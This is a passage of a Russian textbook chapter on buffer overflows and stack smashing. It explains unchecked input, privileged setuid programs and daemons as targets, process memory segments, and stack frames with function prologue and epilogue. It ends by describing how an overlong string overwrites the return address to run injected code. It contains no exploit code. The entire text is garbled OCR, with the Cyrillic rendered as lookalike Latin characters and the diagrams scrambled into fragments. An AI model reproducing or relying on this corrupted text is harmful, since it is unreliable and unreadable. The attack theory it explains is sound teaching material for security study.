3aJJaHHBIM HAOOPOM JIAHHBIX, a ¢ TON uH(pOpMalueii, KoTopas Oblaa NPeLoCcTaBIeHa
nosib3oBatesieM. [Tporpamve HEOOXOIMMO XPaHUTh OOpabaThiBacMble TaHHbIE B T1a-
MSITH KOMITBIOTEPA, U UMEHHO C ATOTO ¥ HAYMHAIOTCST Bee pobsieMbl. MHorue 1po-
IPaMMUCTBI CYUTAIOT, YTO MOJH30BATENb OY/IeT BBOAUTH UMEHHO Ty WH(MOPMAIHUIO,
KOTOPYIO O3KU/IAET MTPOTPAMMAa, U TOJILKO ee. ITO MPE/IOJI0KEHIEe OTHOCUTCS K THUITY
JAHHBIX 1 UX Pa3Mepy, B KAUeCcTBe MpUMepa MOKHO TIPUBECTU CTPOKOBBIE JTAHHDIE.
Cuurag, 4To ajipec BeO-CTPaHUIIbI He MOKET ObITh JtnHHee 500 CHMBOJIOB, IS JaH-
HOTO THTA JaHHBIX BbIZIEISTIOT 0T 50 710 250 ciMBos10B. HO HEKOTOPBIE TIPOTPAMMUCTBI
JUIst TaHHOW nHMOpMAaLUU pe3epBUpyIOT 0bsacTb pasmepoM 10 5000 cuMBOJIOB. DTOT
06beM 3ape3epBUPOBAHHOI TTAMSITH U Ha3bIBAIOT Oy(hepoM.

IToka Bce BhITIAUT TIPocTo. Terepp nepeiizeM Kk 6ojiee HHTEPECHOMY: OYIeT JI Po-
BEPTHCS BeJUYNHA BBEIEHHON TT0Th30BaTesieM HHpopMauu? oBepruMcst JIi MbI
6e30rOBOPOYHO MOJIB30BATENIO U GYIEM CUUTATD, YTO OH HUKOT/IA HE BBEAET OOJIbIITe
5000 cMBOJIOB, MJIM HAIIIA [IPOrPaMMa Bee JKe OyIeT IPOBEPSTh BBEIEHHYIO CTPOKY
HA CJIy4yail BBIXO/IA 32 PAMKHU BbIIEJIEHHOI TTAMSITU, €CJIU KTO-TO TIOTIBITAETCS] BBECTH
6osbiire 5000 cuMBOTOB?

Bo MHOrHX citydasix aTa IpoBepKa He BBITTOJHSAETCS. ITO CBSI3aHO C HEIOCTaTKOM KBa-
JnUKAIK IIPOrPAMMICTAa, €0 JIEHBIO WK APYTUME (haKTOPaMu — IIpOrpamMMa IIpo-
¢TO pabOTaeT ¢ TeMU JaHHBIME, KOTOPbIE IPEI0CTABILI II0JIb30BaTe b, TAK UTO JKe IIpo-
nsoiizeT, ecau KTo-1o BBemeT 5400 cumBosoB? IlepBhie, oxxumaempie, 5000 cMBOJIOB
GyJLyT TOMEIIEHBI B 3apaHee BBIACTCHHY0 00IacThb TAMSITH, a ocTaibHble 400 CHMBOJIOB
OyIyT TIOMeTIeHbI B 00JIaCTh TTAMSITH, KOTOPask HAXOAUTCS 32 PAMKaMU 3aPE3ePBUPO-
BaHHOTO Oydepa, uTo, COOCTBEHHO ¥ ABJISIETCS IIPUMEPOM €I0 IePEOTHEHHSL.

HeobxoauM0 yunuThIBaTh, 4TO JI060i BBOJ MH(MOPMAIUH 110JIb30BaTeleM J0JIKEeH
MIPOBEPSITHCS, MTHAUE OH MOKET ObITh IPUYUHON mepenoyiHenus Oydepa. Mubopma-
ST BKJTIOYAeT B cebst:
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1) maHHbBIE, BBOAMMbBIE B TEKCTOBBIE TIOJIS;

2) cereBble JaHHBIE, TOTyYaeMble TTPOTPAMMON;

3) manHbIe U3 (aiios;

4) nmaHHbIe, KOTOPBIE TIePeIaloTCsT Kak TapaMeTp U3 KOMaHIHOH CTPOKH;

5) maHHble, MOTy9IaeMble OT TT06ATBHEIX TepeMeHHbIX (% TMP% B Windows $TMP
B Linux);

U MHOTOE JIpyToe.

ITyuxTor 1, 2 ¥ 3 MOTYT MPUBECTH K YAATEHHOMY TepenonHeHnio 6ydepa, Torza Kak
OCTaJIbHbIEe BOSIIGfICTByIOT JIOKAJIbHO.

B 3aBucuMocTH OT pa3iudHbIX (PaKTOPOB — BBHIOPAHHOTO IMPOTPAMMHUCTOM METOJIa
pe3epBUPOBAHMS MTaMsTH, TUIIA BHYTPEeHHel opraHusaiiy naMsaTi KOMIIbIoTepa —
nepenosHenye 6ydepa MOKET TPUBECTH K CIELYIONINM TIOCTEACTBUSM:

® HelpaBWJIbHBIN Pe3yJibraT paboThl IIPOrPAMMbI M3-3a MCKasKeHUsI ee JanHbix. Ha-
npuMep, Ipu pabdore BeO-cepBepa B cydae yIauHOil aTaky [0JIb30BATEb IIOLYYUT
He 3alpaliBaeMble JaHHble, a onoKy 404;

® HEKOPPEKTHOE 3aBepIlIeHne TPOTPAMMBI U3-3a TIOBPEXKIEHUS CETMEHTOB, KOHTPO-
JIIPYIOLIKX ee UCHOJIHEeHne. 3aBepiieHue ¢ ommbKoil «access segment violation»
B Linux man «general protection fault> B Windows ykasbiBaer Ha TO, 4TO IIpO-
rpaMMa TbITAETCS TIOJYIUTD JOCTYII K JIAHHBIM, KOTOPbIE HAXO/ISATCS 32 MpeieJiaMu
BBIJIEJIEHHOI J1JIs1 Hee 06J1acTH TTaMsITH;

® HekoppekTHOoe 3aBepinerue pabotsl OC, eciii B TepenonHeHne OB BOBJICUCHBI
CTPYKTYPbI, KOTOPbIE KOHTPOJIUPYIOT ee paboTy;

® JIoJIydenue aTaKyiomuM BO3MOKHOCTH BbIIIOJIHUTD CBOU KO/l Ha MalllnHe KepT-
Bbl — CaMO€ C€pbE3HOE T10CJIE/ICTBUE.

Bot noyemy niepenostenie 6ydepa Tak omacHo.

YT106bI ITOHATD, KaK ITPOUCXO/IUT aTaKa B IIOCJIEe/IHEM CJydae, paCCMOTPUM HEKOTOPbIE
OCHOBbBI CTPOEHUA ITIaMATHU U IIPOI'PaMM.

MporpamMmbl, 6U6NMMOTEKN N BUHAPHbBIE (hannbl

JIrobast mporpamma Jiuist 06pabGOTKU JIAHHBIX UCIIOJIB3YET PA3JIMYHbIE TIePEeMEHHBIE,
KOHCTaHTBI ¥ HAOOP BCEBO3MOKHBIX MHCTPYKIMH. OOBIYHO HHCTPYKITN CTPYIITIH-
POBaHBI B TaK HazbiBaeMble MOy (1iiu pyHKIMH, ecir Opath 1361k C). K cuacTtbio,
MHOTHEe PYTUHHBIE 33/]a4U He TIPUXOAUTCS IPOrPAMMUPOBATD OTIEIbHO, OHU YiKe
JOCTYTIHBI B BU/Ie (DYHKIMH B TIOAKTIOUaeMbIx 6ubsmorekax. Jlanubie 6ubamnorexn,
HCITIOIb3YEMBIE JIJIST BBITIOJTHEHUST PYTUHHBIX 3a/1a4, MOTYT ObITh moaydennt ot OC
WJTH U3 IPYTUX UCTOUHUKOB.

Il ipeoGpasoBaHus HalMCAHHBIX Ha si3biKe C MHCTPYKIUI B MAITUHHBIA KOJI
MCIIOJIh3YeTCs crennaabHast mporpaMma — koMmmusatop. Ha Beixoze oH BbiiaeT
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(afin, comepKamuit COCTOSAMINE U3 MOCTENOBATENLHOCTH OUTOB WHCTPYKITHH, KO-
TOPBIE BBITIOJHSIET IPOIIECCOP JJIS PEIIeHUS 3aJI05KEHHO ITPOrPAMMUCTOM 3a/IaUH.
[Tpu momoru OTIAAYNKA MOKHO KOHBEPTHUPOBATH MANIMHHBINA KO/ B TIOHSITHBIN
4eJI0OBEKY, TPECTABICHHbII ¢ TOMOIIBIO s3bika Accembuep. /Ipyrast mporpamma,
KoTopast HasbiBaeTcst sunkepom (linker) u Bo MHOTHX cityuasix yike BKIOUEHA
B KOMITUJISITOP, UCTIOJIB3YETCS JIJII MHTETPUPOBAHUS BCEX YacTel TPOTPAMMBI,
HAIpUMepP CTOPOHHUX OUGANOTEK U GYHKIINIA, B OHO eanHoe 1eoe. Daiir, KoTo-
PBIi TOJTydaeTcst B pesyJibraTe paboThl POTPAMMECTA, KOMITUJISITOPA M JIMHKEPA,
Ha3bIBaeTCs GUHAPHBIM.

Korma monb3oBaTesib 3aIycKaeT MporpamMmy, ee NCoJHEHNEe HAYNHACTCS ¢ TIepBOit
CTPOKH, UTO SBJISIETCS IKBUBAJIEHTOM TIEPBOI CTPOKU MTPOrPaMMbl, HAMMCAHHOW Ha
a3bike C, a mmMeHHO dyHKIMK main(). B HeTpUBUaIbHO HANMMCAHHBIX MTPOTPaMMax
ynkmms main() MOKeT BBI3BIBATH JAPYTYI0 (PYHKIIUIO, KOTOPas MOKET BbI3BATh
TPETHIO, U T. JI. 3aBEPIIEHNE TPOrPAMMBI IPOUCXOUT MTPU BbI3oBe (hyHKIHeir main()
bynkimm exit() nam Torza, Kora moJb30BaTesb CaM MIPEKPATUT €€ BBITTOJTHEHNE.

Yrposbl

Bunapublii ¢aiis UCIoaHIeTCS B ONpeJIeIEeHHOM KOHTEKCTE, KOTOPbI OIpejiesiseT
YpOBeHb IIpUBUJIETrnii IIpoliecca UK I10Jb30BaTe s, 3allyCKalollero Jannylo 1I1po-
rpammy. Tur u onvicanme NpuBUJIeTHii Bo MHOTOM 3aBucAT oT OC u koHbuTypamn
KoMIibioTepa. CaMbIil TPOCTON TpUMep TPUBUJIETHH — 3TO MPABO YUTATh W NCITPAB-
JATh cojiepkumoe (daiiia, co3zaBaTh ceTeBble COeJIMHEHUS Ha OT/IEIbHBIX IIOPTaX,
3aBepiarh paboTy MPOrPaMMBbI MK KOMITbIoTepa. OGBIYHO KOHTEKCT BBITIOJHEHVST
MPOrpaMMbl HATTPSAMYIO 3aBUCUT OT MPaB MOJb30BATEA. JTO 03HAYAET, UTO MIPO-
rpamma OyjieT IMeTh BO3MOKHOCTD BBIMTOJTHUTH TOJBKO T€ NeHCTBUS, KOTOPbHIE
MOJIB30BATEIb MOT ObI BBITTOJHKUTE CaM, BPYYHYIO. V1 9TO HE 3aBUCUT OT TOTO, KAKHE
UHCTPYKITMK OBLIH 32JI05KEHBI TIPOTPAMMIECTOM.

Hexkotopbim mporpaMmam He0GXOAUMO GOJIbITE TPUBUIETHH /ISt BHITOJTHEHUST CBOUX
3amad. Hanpumep, mporpamme, KOTopasi MO3BOJIIET MEHATH MOJIb30BATEIO CBOM Ta-
POJIb, HY?KHO FIMETh BO3MOKHOCTD UCTIPABJISATE coziep:kimMoe (haiiia OC, comepsrariero
urdopMaIuo o mojb3osaresstx. B Unix-mogo6HbIX CHCTEMAX IS BBITTOTHEHS 10100~
HBIX 33714 TPELYCMOTPEH Suid, YTo TO3BOJIAET TIPOTPAMME BBITIOTHSTHCST C 3aIaHHBIM
HaBGOPOM MTPUBUJIETHI, KOTOPBIiT MOKET OTJIMYATCS OT TIPUBUIIETUI BBI3BABIIETO HTY
[IPOrpaMMy 1oJib30BaTels. Takue hailyibl SIBJISTIOTCS XOPOIIEH TIeJIbIO JIJIs aTAKYIOIIETO.
Ha komIibrotepax ecTb 1 IPOrpaMMBbl € PaCHIMPEHHBIMU TPUBUIIETUSME, KOTOPbIE 3aITy-
ckatorcst B MomeHT ctapta OC: B Windows 310 cepBuchr, a B Unix — Tak HazbiBaeMble
JieMoHbL. Hasmume pacimpeHHbIX TIPUBUIIETHH 1 IOCTYITHOCTD (CTAaHIaPTHbIE IEMOHBI
1 CEPBUCDHI BCET/IA IIPUCYTCTBYIOT Ha KOMIIBIOTEPE *KEPTBbI 1 BCET/Ia 3aITyIIEHbI ) 1e/Ial0T
UX OCHOBHOU U caMOi y106HOI 1IeJIBIO /715t aTaKYIOIIETo.

Wrak, 0ocHOBHOI 11€JIbI0 aTaKyIOLIero ABJsAeTCs UCII0JIb30Banue BO3MOKHOCTH Hepe-
noJiHeHust Oydepa mporpaMmbl, 00JIaaroIIeil MOBBIIIEHHBIMI TPUBUICTUSMH, JIJIsT
BBITIOJIHEHUS CBOETO KO/Ia Ha MAIlIUHE KEPTBBL.



OpraHuzaums namaTu 335

OCHOBbI KOMMbIOTEPHOW apXUTEKTYPbI

ITo xmaccuyeckoit Mogeu ¢hon Helimana, KOMIIBIOTED COCTOUT U3:

® apudMeTUKO-JI0rnIeckoro ycrpoiictsa (AJIY), Kotopoe saHuMaeTcst 00paboTKOM
JTAHHDIX;

® TTaMsTH, KaK/Iast staeiika KOTOPOI TPOHyMepOBaHa, a HyMeparus HaunHaeTcst ¢ ()
(MOKHO pa3/ie;TUTh ee Ha SHEPTrO3aBUCUMYIO — OTePATUBHAS TAMSITh U 9HEProHe-
3aBUCUMYIO — KECTKWUH JINCK);

® yCTPOICTBa yIpaBJeHUS;

® yCTPOICTB BBOJIA U BbIBOJIA (KJIABUATYPA, CETeBOI MHTepdeiic, IPUHTEP U T. 11.).

AJTY (CPU, Central Processing Unit) 06bI4HO HasbIBatOT IPOIIECCOPOM, OHO COEP-
JKUT HAOOP PETHCTPOB, KOTOPbIE TIPEAHASHAYEHDI IJIsT MAHUTTYJISAIIAN C TAHHBIME U UX
obpaborku. Kaxapiili peructp nmeer ykasarteab uacTpykuuu (Instruction Pointer,
IP), oH HEOGXONM JIJISt OTCJICKUBAHUS BBITIOJIHEHMSI MHCTPYKITUI TIPOTPAMMON 1 CO-
JEPKUT AJIPEC CIEAYIOIIEH NHCTPYKIIUK, KOTOPYO OyIeT He0OXO0[AUMO BBIIIOJTHUT.
YKkaszaTesib — 3al1Ch, COIEpPKAIas a[pec CETMEHTA MaMsTH.

Hawumenbinee kommyectBo H(GOPMAIMH, KOTOPOE KOMIIBIOTEP MOKET 00padoTaTh,
ectb 6ut. Ho pa6ora ¢ 6uramu ne apaserca apdexTuBHoi. [ onTuMusanuy pa-
GOTHI KOMIThIOTEPA ObIJT paspaboTaH THUIT JAHHBIX, Ha3bIBaeMbIX ¢JioBoM (word). B Ha-
crostiee BpeMst CI0BO UMeeT pazmep B 32 6uta, a mporeccop, yMeoIuii paborats co
CJIOBOM, pasMep KoToporo 64 6uta, 6e11 n300pereH ette B ganekoM 1993 ropuy.

OpraHuzauus naMsaTn

ITocJie TOro Kak K mporpamMme ObLIN HOAKIIOYEHbl He0OX0AUMble GUOJINOTEKN, OHA
CKOMITMJIMPOBAHA ¥ 3allylleHa, BCe ee KOMIIOHEHThI PasMeIaloTCsl B PasIMuHbIX
cerMeHTax namsitu komibiotepa (puc. 15.1).

Ob6sacTy HaMATH JIJIsE IPOTPAMM, HAIIMCAHHBIX Ha A3biKe C, BBIMIAAAT CJEAYIOMIUM
00pasoM.

1. TekcToBbIii CErMeHT.

TexcTOBBII CerMEeHT, KOJIOBBII CEIMEHT, HJIN ITPOCTO TEKCT, — O/iHA U3 YacTel 1mpo-
rPaMMbI B TTaMsITH KOMITbIoTepa. Coep:KUT HaOOp UCIOMHSIEMbIX UHCTPYKITHIL.
OO6BIYHO TOMEYAETCst ATPUOYTOM «TOJIBKO JIJIs1 UT€HUsT>. TEKCTOBDIN CErMEeHT TTaMsi-
TH MOJKeT OBITh JIOCTYTIEH U IPYTUM MTPUTIOKEHUSIM, ITO CETAHO JIJIsI TOTO, YTOObI
He co3JjaBaTh MHOKECTBA KON OIHOTO U TOTO JKe 4aCTO UCII0JIb3yeMOr0 KO/a.

JlaHHDIN CETMEHT He SIBISIETCS TENBI0 aTaKyIOIEro, Tak Kak Jo6as MoMmbITKa 3a-
[HCATh B HETO KAKYIO-In60 HHPOPMAIMIO TIPUBE/IET K ABAPUITHOMY 3aBEPIIEHUIO
ITPOrPaMMBbIL.

B namsTH T€KCTOBBII CErMEHT MOKET ObITh PACIIOJIOMKEH HUKEe WK Bbille 00-
Jlacteil IMHAMUYECKHU pacTpeieasseMoi TaMsITh (XTI ) U cTeKa.
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4G (BblCWNI Bbicwine
agpec ons appeca apaymeHmol KOMAHObI
326ut Oxfffffff U nepemeHHble OKpYXeHus
cucTembi) Crek (stack)
Xun (heap)
HeNHUManm3npoBaHHble exec O6Hyngem
AaHHble (bss) danHyio 061acme
VHWLMANN3POBAHHbIe
JlaHHble (data) exec cHumeolgaem
Huswne U3 NpoepamMmel
agpeca TeKcT (code)
0x00000000

Puc. 15.1. CTpykTypHasi cxeMa opraHusaummn naMaTm

2. Nuannuanu3upyeMblii CETMEHT JaHHbIX.

I/IHI/IHI/IaJII/ISI/IpyeMbIﬁ CEIrMCHT JaHHBIX (I/UII/I IIPOCTO CETMEHT ZIaHHbIX) XpaHuUT
B cebe 6JI0K BUPTYaJbHBIX a/I[PECHBIX TPOCTPAHCTB, KOTOPbIE COAEPIKAT riobab-
HbI€ II€EPEMEHHDBIE, 3a/laBa€MblI€ ITPOIPAMMUCTOM.

JlaHHast 00JTaCTh AMSITH MOKET OBbITh TIEPE3ANNCAHA BO BPEMsI BBITIOJHEHSI TIPO-
rpamMbl. HO TporpaMMuUCT MOJKET CO3/[aBaTh CETMEHTBI, KOTOPbIE OY/IyT JOCTYITHbI
B PEKUME «TOJIBKO JIJIST UTEHUS».

CermeHr HEMHUIINAJIU3UPOBAHHBIX TaHHBIX.

CerMeHT HEMHUIMATU3UPOBAHHBIX JIAHHBIX YacTo HasbiBaloT bss (block started
by symbol). 3toT cerment Boimensiercs ssapom OC, 1 Bce JaHHBIE B HEM TIEpe/]
3aIyCKOM IIPOTPaMMBbI OOHYJISIOTCSL.

Crek.

O6sacTb cTeKa TPAAUILMOHHO TPAHUYHUT ¢ XUIIOM U 3alI0JHSETCS B IPOTUBOIIO-
JIOKHOM HarpasyieHnn. Kora o61acTh cTeka JOCTUTaeT XHIIa, 3TO 03HAYAET, UTO
CBOOOIHOI TTAMATH He OCTAJIOCh.

Ita obacthb copepkuT nporpammubiii crex tuna LIFO (last in first out) — mo-
CTYTT BO3MOKHO TOJYYUTH TOJTBKO K TIEPBOMY DJIEMEHTY B «TOJIOBE» OUEPEH —
U pacromaraercs B 6oJee BHICOKIX 00acTsX maMsTi. B apxurexktypax x86 ape-
carfiist HAYMHAETCST C HYJIS, B IPYTHX PEATU3AIISIX ATPECATINST MOKET JIBUTATHCST
B ITPOTUBOTIOJIOKHOM HATIPABJICHH.



Pa36uenmne cteka (Smashing the stack) 337

B AJTY cymiectByer crienmanbHblii peructp SP (stack pointer), koTopslii XpaHuT
urbopMaIio 06 aTeMeHTe, HAXOSIIEMCST B HAYATE, <TOTOBE> OUEPEH.

B creke xpansTcs JoKaJbHbIE IEPEMEHHbBIE, & TAK)KE CBI3aHHAsi ¢ HUMU UHOOP-
Marus.

5. Xui.

Xun (kyya) — 06J1aCcTh JMHAMUYECKH pactipeesisieMoil mamsitu. Kyua ynpasis-
ercs takuMu oneparopamu, kak malloc() (memory allocation), realloc() u free().
Malloc() mosBossier mporpammucty sanpamntusath y OC HeoOX0AuMOe KOJU-
YeCTBO MAMSITU JIJisl XPAHEHUST JaHHbBIX, HaripuMep obJactb B 5000 cuMBoJIOB
C TIEJIBIO 3aIMCATh TY/IA PEJOCTABICHHBIN MOJIb30BATEIEM ajipec BeO-CTPAHUIIDL.
OpnHoii 13 ocobernnoctei oneparopa malloc() siBJsieTcst TO, 4TO OH MOKET BO3Bpa-
MIATh CAMBIN HU3IIWIA a/[pec SUeHKY TaMITH, IOCTYITHBIN JIJIS 3aITUCH, U TIO9TOMY
MBI 3HAeM, Ky/la 3aHOCUTD JIaHHbIe. AJIpec TaKOH SYCHKU CONEPIKUTCS B CIIECTIH-
aJIbHOIL IepeMeHHOIT, uMeHyeMoll ykasaTeneM (pointer). Free() ocsoGoxkpaer
aMsTh ¥ Bo3BpalaeT yrpasyenue Haja Helt K OC.

Kyua vcmonb3yercst COBMECTHO Pa3TMIHBIMU OUOINOTEKAMHU U THHAMUYECKH
MOIKTIOYAEMBIMU MOJTYJISIMU.

Pa3bueHne creka (Smashing the stack)

YT00bI HOHATH OCHOBBI Pa30MeHNs CTeKa, HaM HeOOXOAUMO PasobpaThCs B TOM, 4TO
MPOUCXOJIUT B CJTy4ae, KOr/aa oHa (DyHKIIUA BBI3BIBACT APYTYIO (DYHKITHIO.

[l mpuMepa Bo3bMeEM YacTh IIPOTPAMMBI:
my_func(param,, param,, ..., param,);

KOTOPast NCTIOIb3YeT JTOKATHHDIE TIEPEMEHHBIE Var,, Var,, ..., var, 1 HeKOTOPBIT Habop,
He0OXOMMMBII /17T 3aHeceH st B param,, param,, ..., param,,.

Ha puc. 15.2 mokazaHo, Kak Oy/IeT BBITJISIIETh CTEK TIEPE/] BBIIOJTHEHUEM TIPOTPAMMBIL.

Ykazarenb creka SP comep:kut ajgpec Bepxymiku creka (Y), ykazaTeab MHCTPYKITAN
IP — undopmanuio o ciaeyiolieii THCTPYKIIUK, KOTOPAd J0JKHA BBIIIOJHATLC
AJIY (Z). B Haiiem cirydae JaHHbIe yKasaTeJIH OATOTABINBAIOT BCe HEOOXOAUMOE
st BBITIOJTHeHUst (hyHKmu my_func().

Kak y:ke yImoMIHAIOCh, CTeK UCTIOIB3YeTCs U1 XPaHEeHNST JIOKAIbHBIX TePEeMEHHBIX,
HO Ha CaMOM JIeJie OH COJIEPKUT OoJiee paszBepHyTyIo nH(GopManuio. B crek momeria-
eTcst BeCh HEOOXOAMMBIH /7t paboThl (DYHKIIMN KOHTEKCT, BKJIIOYAst TapaMeTPhl ee
BBI30Ba. Best 061acTh MaMsATH, BBIZIEJIEHHAS TO/] BBITIOMHEHVE (hYHKITNHT, Ha3bIBAETCST
CTEKOBBIM (hpeiiMoMm.

ITporeccopy HEOGXOAMMO KaKUM-TO 0OPa3oM OPUEHTHPOBATHCST B CTEKOBOM (hpeii-
Me. OHKUM U3 CaMbIX Pa3yMHbIX CII0COOOB SIBJIETCS Bble/eHe (PUKCHPOBAHHOIO
ajipeca JIis KaxJ0ro CTEKOBOTO (hpeiiMa. YKazaTesb Ha 3TOT a/ipec COAEPKUTCS
B ykasateJsie ¢peiima — BP (base pointer mim frame pointer).
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Bbicwime PerncTpbl
agpeca
X <— BP IP X
SP Y
BP X
Y <«— SP
Hu3wwne
afpeca

Puc. 15.2. Crek nepes BbI30BOM (hyHKLMM

Bepuemcst k BbizoBy my _func(). ITepBoe, 4T0 MPOUCXOUT TIPH BBI3OBE, — 3TO MEPEia-
YA IAHHBIX [I7I5T TAPAMETPOB param,, param,, ..., param,. Jlantsie Gy/IyT mepenaBaThest
B 0OPATHOM TOPSIZTKE OT param K param,.

[Toce BbI30Ba QYHKIMK 1 II€PEAAYN [IAPAMETPOB HaM Ha0 OyAET BBIIIOJHUTh CaMy
dyukiuio. /17 Toro 4ToObI 5TO MPOMIOIILIO, Hallo 106ABUTH B CTEK a[pec MHCTPYK-
uu (V), koTopas 1oJKHa ObITh BbIOJIHEHa 11poiieccopoM (puc. 15.3).

Pernctpbi
X <— BP P u
SP
BP X
Y
param
param,
W Vv <«— SP

Puc. 15.3. Crek nocne 3aHeceHMs NapamMeTpoB W agpeca Bo3BpaTa

Curenyrotasg MHCTPYKINA, Haxo/dmasacd o ajgpecy U, ABJseTCS TOUKOH BbI30Ba
my_func(). @axruyecku B 9TOH stueiike COAEPKUTCS afpec, B3STHIA U3 Perucrpa
IP u ykasbIBaOIUi Ha IEPBYIO HHCTPYKIIHUIO, KOTOPast IOJKHA ObITh BBIOJTHEHA.

Ha sTom aTarre 3aBepHIacTCA MmoAAroToOBKa K MCITOJTHEHUTO Il'lyifllIlC(). Ho ato 1Ipo-
U30MJIET IoCyIe TOI'o, Kak 6leyT BbIIIOJITHEHBI CJICAYIOIIne Tpe6OBaHI/IHI
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1. Ilpenpinyriee 3snauenne ykasaress ¢ppeiima (BP) coxpaneno n 3aneceHo B CTeK.
IT0 HEOOXOAUMO /It TOTO, YTOObI BIIOCJAEACTBII Mbl MOTJIM BEPHYThCS Ha TY
TOUKY, Ha KOTOPOI HAXOIUJIUCH JI0 BBITTOJIHEHUST (DYHKITHH.

2. Byxkazatenn ¢peiiva (BP) ckonupoBano 3nadenue ykaszaress creka (SP), koro-
poe onpeesisiio yKasaTesb dhpeiima.

3. Mecto UL JIOKAJIbHBIX ITIEPEMEHHDBIX Var, var,, ..., var, 3ape€3€pBUPOBaHO IIyTEM
TrepeMenienmsa yKasaTessd CTeKa BHU3.

HepBbIe JIBa 1Iara BBIIIOJIHAIOTCA JIJIA JOOBIX (byHK]_[I/Iﬁ OAHVMU U TEMU K€ NHCTPY-
MCHTaMW, MalllIUHHBIM KO/IOM WJIN MHCTPYKIIUSAMMU. Ha TPETHEM IHare /114 pasHbIX
(byHKIII/If/'I HeO6XOlII/IMO 6leeT BbIJICJINTb PAa3HOE KOJMYECTBO MECTa 110/ XpaHeHHE
TIepeMeHHbIX.

ITHU TPH T1ara, KOTOPBIE ABJSIOTCS OOIMINMHI 1 OJNHAKOBBIMU JIJIST BHI30BA JIFOOBIX
dbyHKMA, HasbBatoTCs 1posioroM (prolog) dynkuuu (puc. 15.4).

X Pernctpbl
IP u
SP W
BP X
Y
param
..... o
]
g<
param =
q
W Vv g
w’ X <«— BP lé
var 5
[a]
[S)
T var. «— SP

Puc. 15.4. Bug creka nocne BbiNOSHEHUS Nposiora PyHKLUMK
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Peructp IP conmepsxut azpec S, ykaspiBaronuii Ha IepBYIO «peabHYi0» WHCTPYKITHUIO
dyHKIIMH, KOTOpast 10JuKHA ObITh BhIosiHeHa. Peructp B comepikut agpec ssueiiku
W', naHHbIi agpec MoxKeT ObITh IIPeACTaBIeH B Buzie «aapec W MUHYyC o0Ias cyMMa
6aiiToB B CJI0BE>.

MOKHO 3aMETHUTD, UTO TIAPAMETPBI 1 JIOKATbHBIE TlepeMeHHbIe (DYHKITUHT PACTLIOKEHBI
B [IaMATH CUMMETPUYHO — Haj U 1oy peructpom BP. Kak ciencrsue, 1o oTHOIIE-
muio kK BP afpeca mapametpos OyAyT BO3pacTarh, a ajipeca JOKaIbHbIX MePeMEeHHbIX
YMEHbBIIATHCS.

Kak BbI MOTJIM 10TaIaThest, €CJii Y (DYHKIUK €CTh POJIOT, TO I0JIKEH OBITh 1 STIUJIOT.
Anutor (epilog) HEOOXOAUM ISt TOTO, YTOOBI «IIPUGPATHCS 32 COO0IT» MOCIIE TOTO,
KaK (DYHKIIUS BBITIOJHUT CBOIO paboTYy.

B anmnore Toxxe Tpu mara:

1. 3nauenme pernctpa W’, B KOTOpOM HaxXoAUTCs Komus azgpeca BP, npucBanBaeTcst
SP. 310 1103BOJIsIET U30ABUTHCSI OT JIOKAJIBHBIX II€DEMEHHbIX.

2. CoxpaHeHHOe 3HaYeHHe ykazarest dpeiiva X komupyercst obpatao B BP (BbI-
MOJTHAETCS] KOMAH/IOW «pop», Tak Kak SP yka3piBaeT Ha ajpec cTeKa, KOTOPBIii
COZIEPKUT HYsKHOE 3HaueHue). Ecim Mbr cpaBaum puc. 15.3 u 15.4, npenebperast
BO3MOJKHOCTBIO U3MEHEHW 3HAYEHUI TapaMeTPOB U MePEMEHHBIX, TO YBUINM,
YTO CTEK TIOCJIe BBIIOJIHEHUs IPoJioTa (YHKIIUN BBITJISIAUT TAK JKe, KaK JI0 €ero
BbINIOJIHEHUST. EAMHCTBEHHAsI Pa3HUIIA B TOM, YTO yKa3aTesb MHCTPYKIUI Terepb
cozmeput azpec R.

3. Anpec Bo3Bpara V komupyeTcst Ha3a/l B yKazaTesab (yHKIUU oTieparueil «pop»,
Ha KOTOPYIO yKasbiBaeT R.

WucTpyxims mo agpecy V IepeMecTUT yKas3aTesb CTeKa BBePX Ha TAaKOe KOJTMIeCTBO
a7IPECOB, HA KOTOPOE OHO OBLITO YBETUIEHO /10 BBI30BA (DYHKITIN, BO BPEMST T0OaBIe-
Hist B Oyep mapaMeTpoB param,, param,, ..., param,. MBI IOJYYHIIH TAKOE JKE COCTO-
sHue Oydepa, Kak u 10 Bbizosa GyHKimu (puc. 15.5). TToka Bce BBITISAAUT XOPOIIIO,
TaK MOYeMy ke BO3HUKAET MpobJieMa, a BMeCTe ¢ Hell U ySI3BUMOCTb?

IIpencTaBbre, YTO OIHA U3 BIIOJIHE OOBIYHLIX 1 GE3BPEAHBIX TEPEMEHHBIX Var, Var,, ...,
var, MOKeT 0Ka3aThCs KakoTo yromano tutma. ITo ompenenenuio suetikn 6ydepa pac-
TIOJTOYKEHBI B TAMSTH TaKUM 00Pa3oM, 4To TepBast staeiika 6yIeT UMeTh HanMEHbITTHiT
anpec, To ecTh ajapeca Gydepa pacTyT Mo HATPABICHUIO K HANGOJBIIIEMY aIpecy.

[Ipenrono:xum, 4TO MporpaMMa He IpoBepsieT BBeIEHHYIO 110JIb30BaTeIeM CTPOKY Ha
KOJIMYECTBO CHMBOJIOB, 8 OHA OKA3aJ1ach OOJIbIIE 3apE3ePBUPOBAHHOTO TI0]] HEE MECTA
B MamsTH. Terieph, ecil CTPOKA He SIBISIETCS TIOCJIEHUM TTapaMeTpoM, TO CHadasa
U3JIUIIIKOM CHUMBOJIOB OY/IyT Mepe3aicanbl BCe MepeMeHHble, HaXOISIIIeCsT MocIe
Hee. A 3aTeM OCTaBINasACsA YaCTh CTPOKHU Tepe3aluiieT 3HaueHus ykasaress ¢ppeiimMa
W aJipec BO3Bpara, Ha KOTOPbIil 0JKeH Oy/IeT BEPHYThCS YKA3aTe b MOC/IE BBITIOIHE-
Hug anuiora Gyukimu. [ Hac 3TO OTKPBIBAET OUeHb MHTEPECHBIE BOBMOKHOCTH.
[Ipenmnosoxum, 4TO MBI TIOJIAINM HA BXOJI IIPOTPAMMBI CTPOKY, C(POPMUPOBAHHYIO
TakuM 006pasoM, 4ToOBI OHA Iepenucaia apec Bo3BpaTa Ha TOT, B KOTOPOM yiKe Ha-
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XO/UTCS c(hOPMUPOBAHHBIN BPEIOHOCHBIH KO/I. JlaHHBIH KO/ MOKET HaXOUTHCS 10
nJm nocje ajapeca Bozspata. Ecim ciiesath Bce IPaBUIIbHO, TO 110CJIE BBIIIOJHEHUS
anusora GyHKIMN KOMITBIOTEP [epPei/IeT 110 M0/IeJIbHOMY a/Ipecy U BBITIOJHUT Bpe-
noHocHbIi kox (puc. 15.6).

X <— BP Perncrpsil
IP U
SP W
BP X
Y
param
param,
w Vv <«— SP
w’ X
var
